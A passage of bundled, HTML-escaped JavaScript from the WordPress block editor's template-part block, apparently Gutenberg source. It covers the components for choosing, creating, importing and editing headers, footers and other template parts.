        ) !== excludedId &amp;&amp; (!area || &quot;uncategorized&quot; === area || templatePart.area === area)
      ) || [];
    }, [templateParts, area, excludedId]);
    return {
      templateParts: filteredTemplateParts,
      isResolving
    };
  }
  function useAlternativeBlockPatterns(area, clientId) {
    return (0, import_data149.useSelect)(
      (select9) =&gt; {
        const blockNameWithArea = area ? `core/template-part/${area}` : &quot;core/template-part&quot;;
        const { getBlockRootClientId, getPatternsByBlockTypes } = select9(import_block_editor268.store);
        const rootClientId = getBlockRootClientId(clientId);
        return getPatternsByBlockTypes(blockNameWithArea, rootClientId);
      },
      [area, clientId]
    );
  }
  function useCreateTemplatePartFromBlocks(area, setAttributes) {
    const { saveEntityRecord } = (0, import_data149.useDispatch)(import_core_data83.store);
    return async (blocks = [], title = (0, import_i18n247.__)(&quot;Untitled Template Part&quot;)) =&gt; {
      const cleanSlug = paramCase(title).replace(/[^\w-]+/g, &quot;&quot;) || &quot;wp-custom-part&quot;;
      const record = {
        title,
        slug: cleanSlug,
        content: (0, import_blocks115.serialize)(blocks),
        // `area` is filterable on the server and defaults to `UNCATEGORIZED`
        // if provided value is not allowed.
        area
      };
      const templatePart = await saveEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template_part&quot;,
        record
      );
      setAttributes({
        slug: templatePart.slug,
        theme: templatePart.theme,
        area: void 0
      });
    };
  }
  function useTemplatePartArea(area) {
    return (0, import_data149.useSelect)(
      (select9) =&gt; {
        const definedAreas = select9(import_core_data83.store).getCurrentTheme()?.default_template_part_areas || [];
        const selectedArea = definedAreas.find(
          (definedArea) =&gt; definedArea.area === area
        );
        const defaultArea = definedAreas.find(
          (definedArea) =&gt; definedArea.area === &quot;uncategorized&quot;
        );
        return {
          icon: selectedArea?.icon || defaultArea?.icon,
          label: selectedArea?.label || (0, import_i18n247.__)(&quot;Template Part&quot;),
          tagName: selectedArea?.area_tag ?? &quot;div&quot;
        };
      },
      [area]
    );
  }

  // packages/block-library/build-module/template-part/edit/title-modal.mjs
  var import_element131 = __toESM(require_element(), 1);
  var import_i18n248 = __toESM(require_i18n(), 1);
  var import_components162 = __toESM(require_components(), 1);
  var import_jsx_runtime509 = __toESM(require_jsx_runtime(), 1);
  function TitleModal({ areaLabel, onClose, onSubmit }) {
    const [title, setTitle] = (0, import_element131.useState)(&quot;&quot;);
    const submitForCreation = (event) =&gt; {
      event.preventDefault();
      onSubmit(title);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime509.jsx)(
      import_components162.Modal,
      {
        title: (0, import_i18n248.sprintf)(
          // Translators: %s as template part area title (&quot;Header&quot;, &quot;Footer&quot;, etc.).
          (0, import_i18n248.__)(&quot;Create new %s&quot;),
          areaLabel.toLowerCase()
        ),
        onRequestClose: onClose,
        focusOnMount: &quot;firstContentElement&quot;,
        size: &quot;small&quot;,
        children: /* @__PURE__ */ (0, import_jsx_runtime509.jsx)(&quot;form&quot;, { onSubmit: submitForCreation, children: /* @__PURE__ */ (0, import_jsx_runtime509.jsxs)(import_components162.__experimentalVStack, { spacing: &quot;5&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime509.jsx)(
            import_components162.TextControl,
            {
              label: (0, import_i18n248.__)(&quot;Name&quot;),
              value: title,
              onChange: setTitle,
              placeholder: (0, import_i18n248.__)(&quot;Custom Template Part&quot;),
              __next40pxDefaultSize: true
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime509.jsxs)(import_components162.__experimentalHStack, { justify: &quot;right&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime509.jsx)(
              import_components162.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;tertiary&quot;,
                onClick: () =&gt; {
                  onClose();
                  setTitle(&quot;&quot;);
                },
                children: (0, import_i18n248.__)(&quot;Cancel&quot;)
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime509.jsx)(
              import_components162.Button,
              {
                variant: &quot;primary&quot;,
                type: &quot;submit&quot;,
                accessibleWhenDisabled: true,
                disabled: !title.length,
                __next40pxDefaultSize: true,
                children: (0, import_i18n248.__)(&quot;Create&quot;)
              }
            )
          ] })
        ] }) })
      }
    );
  }

  // packages/block-library/build-module/template-part/edit/placeholder.mjs
  var import_jsx_runtime510 = __toESM(require_jsx_runtime(), 1);
  function TemplatePartPlaceholder({
    area,
    clientId,
    templatePartId,
    onOpenSelectionModal,
    setAttributes
  }) {
    const { templateParts, isResolving } = useAlternativeTemplateParts(
      area,
      templatePartId
    );
    const blockPatterns = useAlternativeBlockPatterns(area, clientId);
    const { isBlockBasedTheme, canCreateTemplatePart } = (0, import_data150.useSelect)(
      (select9) =&gt; {
        const { getCurrentTheme, canUser } = select9(import_core_data84.store);
        return {
          isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
          canCreateTemplatePart: canUser(&quot;create&quot;, {
            kind: &quot;postType&quot;,
            name: &quot;wp_template_part&quot;
          })
        };
      },
      []
    );
    const [showTitleModal, setShowTitleModal] = (0, import_element132.useState)(false);
    const areaObject = useTemplatePartArea(area);
    const createFromBlocks = useCreateTemplatePartFromBlocks(
      area,
      setAttributes
    );
    return /* @__PURE__ */ (0, import_jsx_runtime510.jsxs)(
      import_components163.Placeholder,
      {
        icon: getTemplatePartIcon(areaObject.icon),
        label: areaObject.label,
        instructions: isBlockBasedTheme ? (0, import_i18n249.sprintf)(
          // Translators: %s as template part area title (&quot;Header&quot;, &quot;Footer&quot;, etc.).
          (0, import_i18n249.__)(&quot;Choose an existing %s or create a new one.&quot;),
          areaObject.label.toLowerCase()
        ) : (0, import_i18n249.sprintf)(
          // Translators: %s as template part area title (&quot;Header&quot;, &quot;Footer&quot;, etc.).
          (0, import_i18n249.__)(&quot;Choose an existing %s.&quot;),
          areaObject.label.toLowerCase()
        ),
        children: [
          isResolving &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime510.jsx)(import_components163.Spinner, {}),
          !isResolving &amp;&amp; !!(templateParts.length || blockPatterns.length) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime510.jsx)(
            import_components163.Button,
            {
              __next40pxDefaultSize: true,
              variant: &quot;primary&quot;,
              onClick: onOpenSelectionModal,
              children: (0, import_i18n249.__)(&quot;Choose&quot;)
            }
          ),
          !isResolving &amp;&amp; isBlockBasedTheme &amp;&amp; canCreateTemplatePart &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime510.jsx)(
            import_components163.Button,
            {
              __next40pxDefaultSize: true,
              variant: &quot;secondary&quot;,
              onClick: () =&gt; {
                setShowTitleModal(true);
              },
              children: (0, import_i18n249.__)(&quot;Start blank&quot;)
            }
          ),
          showTitleModal &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime510.jsx)(
            TitleModal,
            {
              areaLabel: areaObject.label,
              onClose: () =&gt; setShowTitleModal(false),
              onSubmit: (title) =&gt; {
                createFromBlocks([], title);
              }
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/template-part/edit/selection-modal.mjs
  var import_element133 = __toESM(require_element(), 1);
  var import_i18n250 = __toESM(require_i18n(), 1);
  var import_notices19 = __toESM(require_notices(), 1);
  var import_data151 = __toESM(require_data(), 1);
  var import_block_editor269 = __toESM(require_block_editor(), 1);
  var import_components164 = __toESM(require_components(), 1);

  // packages/block-library/build-module/template-part/edit/utils/map-template-part-to-block-pattern.mjs
  var import_blocks116 = __toESM(require_blocks(), 1);
  function mapTemplatePartToBlockPattern(templatePart) {
    return {
      name: createTemplatePartId(templatePart.theme, templatePart.slug),
      title: templatePart.title.rendered,
      blocks: (0, import_blocks116.parse)(templatePart.content.raw),
      templatePart
    };
  }

  // packages/block-library/build-module/template-part/edit/selection-modal.mjs
  var import_jsx_runtime511 = __toESM(require_jsx_runtime(), 1);
  function TemplatePartSelectionModal({
    setAttributes,
    onClose,
    templatePartId = null,
    area,
    clientId
  }) {
    const [searchValue, setSearchValue] = (0, import_element133.useState)(&quot;&quot;);
    const { templateParts } = useAlternativeTemplateParts(
      area,
      templatePartId
    );
    const filteredTemplateParts = (0, import_element133.useMemo)(() =&gt; {
      const partsAsPatterns = templateParts.map(
        (templatePart) =&gt; mapTemplatePartToBlockPattern(templatePart)
      );
      return searchPatterns(partsAsPatterns, searchValue);
    }, [templateParts, searchValue]);
    const blockPatterns = useAlternativeBlockPatterns(area, clientId);
    const filteredBlockPatterns = (0, import_element133.useMemo)(() =&gt; {
      return searchPatterns(blockPatterns, searchValue);
    }, [blockPatterns, searchValue]);
    const { createSuccessNotice } = (0, import_data151.useDispatch)(import_notices19.store);
    const onTemplatePartSelect = (templatePart) =&gt; {
      setAttributes({
        slug: templatePart.slug,
        theme: templatePart.theme,
        area: void 0
      });
      createSuccessNotice(
        (0, import_i18n250.sprintf)(
          /* translators: %s: template part title. */
          (0, import_i18n250.__)(&#039;Template Part &quot;%s&quot; inserted.&#039;),
          templatePart.title?.rendered || templatePart.slug
        ),
        {
          type: &quot;snackbar&quot;
        }
      );
      onClose();
    };
    const hasTemplateParts = !!filteredTemplateParts.length;
    const hasBlockPatterns = !!filteredBlockPatterns.length;
    return /* @__PURE__ */ (0, import_jsx_runtime511.jsxs)(&quot;div&quot;, { className: &quot;block-library-template-part__selection-content&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime511.jsx)(&quot;div&quot;, { className: &quot;block-library-template-part__selection-search&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime511.jsx)(
        import_components164.SearchControl,
        {
          onChange: setSearchValue,
          value: searchValue,
          label: (0, import_i18n250.__)(&quot;Search&quot;),
          placeholder: (0, import_i18n250.__)(&quot;Search&quot;)
        }
      ) }),
      hasTemplateParts &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime511.jsxs)(&quot;div&quot;, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime511.jsx)(&quot;h2&quot;, { children: (0, import_i18n250.__)(&quot;Existing template parts&quot;) }),
        /* @__PURE__ */ (0, import_jsx_runtime511.jsx)(
          import_block_editor269.__experimentalBlockPatternsList,
          {
            blockPatterns: filteredTemplateParts,
            onClickPattern: (pattern) =&gt; {
              onTemplatePartSelect(pattern.templatePart);
            }
          }
        )
      ] }),
      !hasTemplateParts &amp;&amp; !hasBlockPatterns &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime511.jsx)(import_components164.__experimentalHStack, { alignment: &quot;center&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime511.jsx)(&quot;p&quot;, { children: (0, import_i18n250.__)(&quot;No results found.&quot;) }) })
    ] });
  }

  // packages/block-library/build-module/template-part/edit/advanced-controls.mjs
  var import_core_data86 = __toESM(require_core_data(), 1);
  var import_components166 = __toESM(require_components(), 1);
  var import_i18n252 = __toESM(require_i18n(), 1);
  var import_data153 = __toESM(require_data(), 1);
  var import_block_editor270 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/template-part/edit/import-controls.mjs
  var import_i18n251 = __toESM(require_i18n(), 1);
  var import_element134 = __toESM(require_element(), 1);
  var import_data152 = __toESM(require_data(), 1);
  var import_components165 = __toESM(require_components(), 1);
  var import_core_data85 = __toESM(require_core_data(), 1);
  var import_notices20 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/template-part/edit/utils/transformers.mjs
  var import_blocks117 = __toESM(require_blocks(), 1);
  function transformWidgetToBlock(widget) {
    if (widget.id_base !== &quot;block&quot;) {
      let attributes2;
      if (widget._embedded.about[0].is_multi) {
        attributes2 = {
          idBase: widget.id_base,
          instance: widget.instance
        };
      } else {
        attributes2 = {
          id: widget.id
        };
      }
      return switchLegacyWidgetType(
        (0, import_blocks117.createBlock)(&quot;core/legacy-widget&quot;, attributes2)
      );
    }
    const parsedBlocks = (0, import_blocks117.parse)(widget.instance.raw.content, {
      __unstableSkipAutop: true
    });
    if (!parsedBlocks.length) {
      return void 0;
    }
    const block = parsedBlocks[0];
    if (block.name === &quot;core/widget-group&quot;) {
      return (0, import_blocks117.createBlock)(
        (0, import_blocks117.getGroupingBlockName)(),
        void 0,
        transformInnerBlocks(block.innerBlocks)
      );
    }
    if (block.innerBlocks.length &gt; 0) {
      return (0, import_blocks117.cloneBlock)(
        block,
        void 0,
        transformInnerBlocks(block.innerBlocks)
      );
    }
    return block;
  }
  function switchLegacyWidgetType(block) {
    const transforms39 = (0, import_blocks117.getPossibleBlockTransformations)([block]).filter(
      (item) =&gt; {
        if (!item.transforms) {
          return true;
        }
        const hasWildCardFrom = item.transforms?.from?.find(
          (from) =&gt; from.blocks &amp;&amp; from.blocks.includes(&quot;*&quot;)
        );
        const hasWildCardTo = item.transforms?.to?.find(
          (to) =&gt; to.blocks &amp;&amp; to.blocks.includes(&quot;*&quot;)
        );
        return !hasWildCardFrom &amp;&amp; !hasWildCardTo;
      }
    );
    if (!transforms39.length) {
      return void 0;
    }
    return (0, import_blocks117.switchToBlockType)(block, transforms39[0].name);
  }
  function transformInnerBlocks(innerBlocks = []) {
    return innerBlocks.flatMap((block) =&gt; {
      if (block.name === &quot;core/legacy-widget&quot;) {
        return switchLegacyWidgetType(block);
      }
      return (0, import_blocks117.createBlock)(
        block.name,
        block.attributes,
        transformInnerBlocks(block.innerBlocks)
      );
    }).filter((block) =&gt; !!block);
  }

  // packages/block-library/build-module/template-part/edit/import-controls.mjs
  var import_jsx_runtime512 = __toESM(require_jsx_runtime(), 1);
  var SIDEBARS_QUERY = {
    per_page: -1,
    _fields: &quot;id,name,description,status,widgets&quot;
  };
  function TemplatePartImportControls({ area, setAttributes }) {
    const [selectedSidebar, setSelectedSidebar] = (0, import_element134.useState)(&quot;&quot;);
    const [isBusy, setIsBusy] = (0, import_element134.useState)(false);
    const registry = (0, import_data152.useRegistry)();
    const { sidebars, hasResolved } = (0, import_data152.useSelect)((select9) =&gt; {
      const { getSidebars, hasFinishedResolution } = select9(import_core_data85.store);
      return {
        sidebars: getSidebars(SIDEBARS_QUERY),
        hasResolved: hasFinishedResolution(&quot;getSidebars&quot;, [
          SIDEBARS_QUERY
        ])
      };
    }, []);
    const { createErrorNotice } = (0, import_data152.useDispatch)(import_notices20.store);
    const createFromBlocks = useCreateTemplatePartFromBlocks(
      area,
      setAttributes
    );
    const options2 = (0, import_element134.useMemo)(() =&gt; {
      const sidebarOptions = (sidebars ?? []).filter(
        (widgetArea) =&gt; widgetArea.id !== &quot;wp_inactive_widgets&quot; &amp;&amp; widgetArea.widgets.length &gt; 0
      ).map((widgetArea) =&gt; {
        return {
          value: widgetArea.id,
          label: widgetArea.name
        };
      });
      if (!sidebarOptions.length) {
        return [];
      }
      return [
        { value: &quot;&quot;, label: (0, import_i18n251.__)(&quot;Select widget area&quot;) },
        ...sidebarOptions
      ];
    }, [sidebars]);
    if (!hasResolved) {
      return /* @__PURE__ */ (0, import_jsx_runtime512.jsx)(import_components165.__experimentalSpacer, { marginBottom: &quot;0&quot; });
    }
    if (hasResolved &amp;&amp; !options2.length) {
      return null;
    }
    async function createFromWidgets(event) {
      event.preventDefault();
      if (isBusy || !selectedSidebar) {
        return;
      }
      setIsBusy(true);
      const sidebar = options2.find(
        ({ value }) =&gt; value === selectedSidebar
      );
      const { getWidgets } = registry.resolveSelect(import_core_data85.store);
      const widgets = await getWidgets({
        sidebar: sidebar.value,
        _embed: &quot;about&quot;
      });
      const skippedWidgets = /* @__PURE__ */ new Set();
      const blocks = widgets.flatMap((widget) =&gt; {
        const block = transformWidgetToBlock(widget);
        if (!block) {
          skippedWidgets.add(widget.id_base);
          return [];
        }
        return block;
      });
      await createFromBlocks(
        blocks,
        /* translators: %s: name of the widget area */
        (0, import_i18n251.sprintf)((0, import_i18n251.__)(&quot;Widget area: %s&quot;), sidebar.label)
      );
      if (skippedWidgets.size) {
        createErrorNotice(
          (0, import_i18n251.sprintf)(
            /* translators: %s: the list of widgets */
            (0, import_i18n251.__)(&quot;Unable to import the following widgets: %s.&quot;),
            Array.from(skippedWidgets).join(&quot;, &quot;)
          ),
          {
            type: &quot;snackbar&quot;
          }
        );
      }
      setIsBusy(false);
    }
    return /* @__PURE__ */ (0, import_jsx_runtime512.jsx)(import_components165.__experimentalSpacer, { marginBottom: &quot;4&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime512.jsxs)(import_components165.__experimentalHStack, { as: &quot;form&quot;, onSubmit: createFromWidgets, children: [
      /* @__PURE__ */ (0, import_jsx_runtime512.jsx)(import_components165.FlexBlock, { children: /* @__PURE__ */ (0, import_jsx_runtime512.jsx)(
        import_components165.SelectControl,
        {
          label: (0, import_i18n251.__)(&quot;Import widget area&quot;),
          value: selectedSidebar,
          options: options2,
          onChange: (value) =&gt; setSelectedSidebar(value),
          disabled: !options2.length,
          __next40pxDefaultSize: true
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime512.jsx)(
        import_components165.FlexItem,
        {
          style: {
            marginBottom: &quot;8px&quot;,
            marginTop: &quot;auto&quot;
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime512.jsx)(
            import_components165.Button,
            {
              __next40pxDefaultSize: true,
              variant: &quot;primary&quot;,
              type: &quot;submit&quot;,
              isBusy,
              &quot;aria-disabled&quot;: isBusy || !selectedSidebar,
              children: (0, import_i18n251._x)(&quot;Import&quot;, &quot;button label&quot;)
            }
          )
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/template-part/edit/advanced-controls.mjs
  var import_jsx_runtime513 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl7 } = unlock(import_block_editor270.privateApis);
  function TemplatePartAdvancedControls({
    tagName,
    setAttributes,
    isEntityAvailable,
    templatePartId,
    defaultWrapper,
    hasInnerBlocks,
    clientId
  }) {
    const [area, setArea] = (0, import_core_data86.useEntityProp)(
      &quot;postType&quot;,
      &quot;wp_template_part&quot;,
      &quot;area&quot;,
      templatePartId
    );
    const [title, setTitle] = (0, import_core_data86.useEntityProp)(
      &quot;postType&quot;,
      &quot;wp_template_part&quot;,
      &quot;title&quot;,
      templatePartId
    );
    const defaultTemplatePartAreas = (0, import_data153.useSelect)(
      (select9) =&gt; select9(import_core_data86.store).getCurrentTheme()?.default_template_part_areas || [],
      []
    );
    const areaOptions = defaultTemplatePartAreas.map(
      ({ label, area: _area }) =&gt; ({
        label,
        value: _area
      })
    );
    return /* @__PURE__ */ (0, import_jsx_runtime513.jsxs)(import_jsx_runtime513.Fragment, { children: [
      isEntityAvailable &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime513.jsxs)(import_jsx_runtime513.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime513.jsx)(
          import_components166.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n252.__)(&quot;Title&quot;),
            value: title,
            onChange: (value) =&gt; {
              setTitle(value);
            },
            onFocus: (event) =&gt; event.target.select()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime513.jsx)(
          import_components166.SelectControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n252.__)(&quot;Area&quot;),
            labelPosition: &quot;top&quot;,
            options: areaOptions,
            value: area,
            onChange: setArea
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime513.jsx)(
        HTMLElementControl7,
        {
          tagName: tagName || &quot;&quot;,
          onChange: (value) =&gt; setAttributes({ tagName: value }),
          clientId,
          options: [
            {
              label: (0, import_i18n252.sprintf)(
                /* translators: %s: HTML tag based on area. */
                (0, import_i18n252.__)(&quot;Default based on area (%s)&quot;),
                `&lt;${defaultWrapper}&gt;`
              ),
              value: &quot;&quot;
            },
            { label: &quot;&lt;header&gt;&quot;, value: &quot;header&quot; },
            { label: &quot;&lt;main&gt;&quot;, value: &quot;main&quot; },
            { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
            { label: &quot;&lt;article&gt;&quot;, value: &quot;article&quot; },
            { label: &quot;&lt;aside&gt;&quot;, value: &quot;aside&quot; },
            { label: &quot;&lt;footer&gt;&quot;, value: &quot;footer&quot; },
            { label: &quot;&lt;div&gt;&quot;, value: &quot;div&quot; }
          ]
        }
      ),
      !hasInnerBlocks &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime513.jsx)(
        TemplatePartImportControls,
        {
          area,
          setAttributes
        }
      )
    ] });
  }

  // packages/block-library/build-module/template-part/edit/inner-blocks.mjs
  var import_core_data87 = __toESM(require_core_data(), 1);
  var import_block_editor271 = __toESM(require_block_editor(), 1);
  var import_data154 = __toESM(require_data(), 1);
  var import_element135 = __toESM(require_element(), 1);
  var import_blocks118 = __toESM(require_blocks(), 1);
  var import_jsx_runtime514 = __toESM(require_jsx_runtime(), 1);
  function useRenderAppender(hasInnerBlocks) {
    const blockEditingMode = (0, import_block_editor271.useBlockEditingMode)();
    if (blockEditingMode === &quot;contentOnly&quot;) {
      return false;
    }
    if (!hasInnerBlocks) {
      return import_block_editor271.InnerBlocks.ButtonBlockAppender;
    }
  }
  function useLayout(layout) {
    const themeSupportsLayout = (0, import_data154.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor271.store);
      return getSettings2()?.supportsLayout;
    }, []);
    const [defaultLayout] = (0, import_block_editor271.useSettings)(&quot;layout&quot;);
    if (themeSupportsLayout) {
      return layout?.inherit ? defaultLayout || {} : layout;
    }
  }
  function NonEditableTemplatePartPreview({
    postId: id,
    layout,
    tagName: TagName2,
    blockProps
  }) {
    (0, import_block_editor271.useBlockEditingMode)(&quot;disabled&quot;);
    const { content, editedBlocks } = (0, import_data154.useSelect)(
      (select9) =&gt; {
        if (!id) {
          return {};
        }
        const { getEditedEntityRecord } = select9(import_core_data87.store);
        const editedRecord = getEditedEntityRecord(
          &quot;postType&quot;,
          &quot;wp_template_part&quot;,
          id,
          { context: &quot;view&quot; }
        );
        return {
          editedBlocks: editedRecord.blocks,
          content: editedRecord.content
        };
      },
      [id]
    );
    const blocks = (0, import_element135.useMemo)(() =&gt; {
      if (!id) {
        return void 0;
      }
      if (editedBlocks) {
        return editedBlocks;
      }
      if (!content || typeof content !== &quot;string&quot;) {
        return [];
      }
      return (0, import_blocks118.parse)(content);
    }, [id, editedBlocks, content]);
    const innerBlocksProps = (0, import_block_editor271.useInnerBlocksProps)(blockProps, {
      value: blocks,
      onInput: () =&gt; {
      },
      onChange: () =&gt; {
      },
      renderAppender: false,
      layout: useLayout(layout)
    });
    return /* @__PURE__ */ (0, import_jsx_runtime514.jsx)(TagName2, { ...innerBlocksProps });
  }
  function EditableTemplatePartInnerBlocks({
    postId: id,
    hasInnerBlocks,
    layout,
    tagName: TagName2,
    blockProps
  }) {
    const onNavigateToEntityRecord = (0, import_data154.useSelect)(
      (select9) =&gt; select9(import_block_editor271.store).getSettings().onNavigateToEntityRecord,
      []
    );
    const [blocks, onInput, onChange] = (0, import_core_data87.useEntityBlockEditor)(
      &quot;postType&quot;,
      &quot;wp_template_part&quot;,
      { id }
    );
    const innerBlocksProps = (0, import_block_editor271.useInnerBlocksProps)(blockProps, {
      value: blocks,
      onInput,
      onChange,
      renderAppender: useRenderAppender(hasInnerBlocks),
      layout: useLayout(layout)
    });
    const blockEditingMode = (0, import_block_editor271.useBlockEditingMode)();
    const customProps = blockEditingMode === &quot;contentOnly&quot; &amp;&amp; onNavigateToEntityRecord ? {
      onDoubleClick: () =&gt; onNavigateToEntityRecord({
        postId: id,
        postType: &quot;wp_template_part&quot;
      })
    } : {};
    return /* @__PURE__ */ (0, import_jsx_runtime514.jsx)(TagName2, { ...innerBlocksProps, ...customProps });
  }
  function TemplatePartInnerBlocks({
    postId: id,
    hasInnerBlocks,
    layout,
    tagName: TagName2,
    blockProps
  }) {
    const { canViewTemplatePart, canEditTemplatePart } = (0, import_data154.useSelect)(
      (select9) =&gt; {
        return {
          canViewTemplatePart: !!select9(import_core_data87.store).canUser(&quot;read&quot;, {
            kind: &quot;postType&quot;,
            name: &quot;wp_template_part&quot;,
            id
          }),
          canEditTemplatePart: !!select9(import_core_data87.store).canUser(&quot;update&quot;, {
            kind: &quot;postType&quot;,
            name: &quot;wp_template_part&quot;,
            id
          })
        };
      },
      [id]
    );
    if (!canViewTemplatePart) {
      return null;
    }
    const TemplatePartInnerBlocksComponent = canEditTemplatePart ? EditableTemplatePartInnerBlocks : NonEditableTemplatePartPreview;
    return /* @__PURE__ */ (0, import_jsx_runtime514.jsx)(
      TemplatePartInnerBlocksComponent,
      {
        postId: id,
        hasInnerBlocks,
        layout,
        tagName: TagName2,
        blockProps
      }
    );
  }

  // packages/block-library/build-module/template-part/edit/index.mjs
  var import_jsx_runtime515 = __toESM(require_jsx_runtime(), 1);
  var SUPPORTED_AREAS = [&quot;header&quot;, &quot;footer&quot;, &quot;navigation-overlay&quot;];
  function ReplaceButton({
    isEntityAvailable,
    area,
    templatePartId,
    isTemplatePartSelectionOpen,
    setIsTemplatePartSelectionOpen
  }) {
    const { templateParts } = useAlternativeTemplateParts(
      area,
      templatePartId
    );
    const hasReplacements = !!templateParts.length;
    const canReplace = isEntityAvailable &amp;&amp; hasReplacements &amp;&amp; SUPPORTED_AREAS.includes(area);
    if (!canReplace) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
      import_components167.MenuItem,
      {
        onClick: () =&gt; {
          setIsTemplatePartSelectionOpen(true);
        },
        &quot;aria-expanded&quot;: isTemplatePartSelectionOpen,
        &quot;aria-haspopup&quot;: &quot;dialog&quot;,
        children: (0, import_i18n253.__)(&quot;Replace&quot;)
      }
    );
  }
  function TemplatesList({ area, clientId, isEntityAvailable, onSelect }) {
    const blockPatterns = useAlternativeBlockPatterns(area, clientId);
    const canReplace = isEntityAvailable &amp;&amp; !!blockPatterns.length &amp;&amp; SUPPORTED_AREAS.includes(area);
    if (!canReplace) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_components167.PanelBody, { title: (0, import_i18n253.__)(&quot;Design&quot;), children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
      import_block_editor272.__experimentalBlockPatternsList,
      {
        label: (0, import_i18n253.__)(&quot;Templates&quot;),
        blockPatterns,
        onClickPattern: onSelect,
        showTitlesAsTooltip: true
      }
    ) });
  }
  function TemplatePartEdit({
    attributes: attributes2,
    setAttributes,
    clientId
  }) {
    const { createSuccessNotice } = (0, import_data155.useDispatch)(import_notices21.store);
    const { editEntityRecord } = (0, import_data155.useDispatch)(import_core_data88.store);
    const currentTheme = (0, import_data155.useSelect)(
      (select9) =&gt; select9(import_core_data88.store).getCurrentTheme()?.stylesheet,
      []
    );
    const { slug, theme = currentTheme, tagName, layout = {} } = attributes2;
    const templatePartId = createTemplatePartId(theme, slug);
    const hasAlreadyRendered = (0, import_block_editor272.useHasRecursion)(templatePartId);
    const [isTemplatePartSelectionOpen, setIsTemplatePartSelectionOpen] = (0, import_element136.useState)(false);
    const {
      isResolved,
      hasInnerBlocks,
      isMissing,
      area,
      onNavigateToEntityRecord,
      title,
      canUserEdit
    } = (0, import_data155.useSelect)(
      (select9) =&gt; {
        const { getEditedEntityRecord, hasFinishedResolution } = select9(import_core_data88.store);
        const { getBlockCount, getSettings: getSettings2 } = select9(import_block_editor272.store);
        const getEntityArgs = [
          &quot;postType&quot;,
          &quot;wp_template_part&quot;,
          templatePartId
        ];
        const entityRecord = templatePartId ? getEditedEntityRecord(...getEntityArgs) : null;
        const _area = entityRecord?.area || attributes2.area;
        const hasResolvedEntity = templatePartId ? hasFinishedResolution(
          &quot;getEditedEntityRecord&quot;,
          getEntityArgs
        ) : false;
        const _canUserEdit = hasResolvedEntity ? select9(import_core_data88.store).canUser(&quot;update&quot;, {
          kind: &quot;postType&quot;,
          name: &quot;wp_template_part&quot;,
          id: templatePartId
        }) : false;
        return {
          hasInnerBlocks: getBlockCount(clientId) &gt; 0,
          isResolved: hasResolvedEntity,
          isMissing: hasResolvedEntity &amp;&amp; (!entityRecord || Object.keys(entityRecord).length === 0),
          area: _area,
          onNavigateToEntityRecord: getSettings2().onNavigateToEntityRecord,
          title: entityRecord?.title,
          canUserEdit: !!_canUserEdit
        };
      },
      [templatePartId, attributes2.area, clientId]
    );
    const areaObject = useTemplatePartArea(area);
    const blockProps = (0, import_block_editor272.useBlockProps)();
    const isPlaceholder = !slug;
    const isEntityAvailable = !isPlaceholder &amp;&amp; !isMissing &amp;&amp; isResolved;
    const TagName2 = tagName || areaObject.tagName;
    const onPatternSelect = async (pattern) =&gt; {
      await editEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template_part&quot;,
        templatePartId,
        {
          blocks: pattern.blocks,
          content: (0, import_blocks119.serialize)(pattern.blocks)
        }
      );
      createSuccessNotice(
        (0, import_i18n253.sprintf)(
          /* translators: %s: template part title. */
          (0, import_i18n253.__)(&#039;Template Part &quot;%s&quot; updated.&#039;),
          title || slug
        ),
        {
          type: &quot;snackbar&quot;
        }
      );
    };
    if (!hasInnerBlocks &amp;&amp; (slug &amp;&amp; !theme || slug &amp;&amp; isMissing)) {
      return /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_block_editor272.Warning, { children: (0, import_i18n253.sprintf)(
        /* translators: %s: Template part slug. */
        (0, import_i18n253.__)(
          &quot;Template part has been deleted or is unavailable: %s&quot;
        ),
        slug
      ) }) });
    }
    if (isEntityAvailable &amp;&amp; hasAlreadyRendered) {
      return /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_block_editor272.Warning, { children: (0, import_i18n253.__)(&quot;Block cannot be rendered inside itself.&quot;) }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime515.jsxs)(import_jsx_runtime515.Fragment, { children: [
